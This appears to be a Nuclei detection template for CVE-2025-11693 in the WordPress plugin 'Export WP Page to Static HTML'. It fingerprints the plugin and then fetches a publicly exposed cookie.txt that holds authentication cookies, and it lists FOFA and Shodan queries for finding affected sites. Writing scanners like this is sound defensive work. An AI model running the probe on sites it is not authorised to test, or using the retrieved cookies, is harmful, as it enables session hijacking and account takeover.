id: CVE-2025-11693

info:
  name: Export WP Page to Static HTML <= 4.3.4 - Cookie Exposure
  author: 0x_Akoko
  severity: critical
  description: |
   Export WP Page to Static HTML & PDF WordPress plugin <= 4.3.4 contains a sensitive information exposure caused by publicly exposed cookies.txt files with authentication cookies, letting unauthenticated attackers access sensitive authentication data, exploit requires site administrator to trigger backup with specific user role.
  impact: |
   Unauthenticated attackers can access authentication cookies, potentially leading to account compromise or unauthorized access.
  remediation: |
   Update to the latest version beyond 4.3.4.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/export-wp-page-to-static-html/export-wp-page-to-static-html-pdf-434-unauthenticated-cookie-exposure-via-log-file
    - https://nvd.nist.gov/vuln/detail/CVE-2025-11693
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-11693
    epss-score: 0.05097
    epss-percentile: 0.89933
    cwe-id: CWE-200
  metadata:
    verified: true
    max-request: 2
    fofa-query: body="/wp-content/plugins/export-wp-page-to-static-html/"
    shodan-query: http.html:"/wp-content/plugins/export-wp-page-to-static-html/"
  tags: cve,cve2025,wordpress,wp,wp-plugin,export-wp-page-to-static-html,exposure

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/export-wp-page-to-static-html/README.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(body, 'Export WP Page')"
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-content/uploads/exported_html_files/cookie.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(body, 'wordpress')"
          - "contains_all(body, 'TRUE', 'FALSE', 'HttpOnly')"
        condition: and
# digest: 4b0a00483046022100b158629d842d7e2bd3aa09a7172ea5d59010c74ea0a1eb19e4d3a9c5fc96b870022100aeaf05ec52bdd984f3dafa88c9015cfbd647de022a045152f5dbc6d51bcf579f:922c64590222798bb761d5b6d8e72950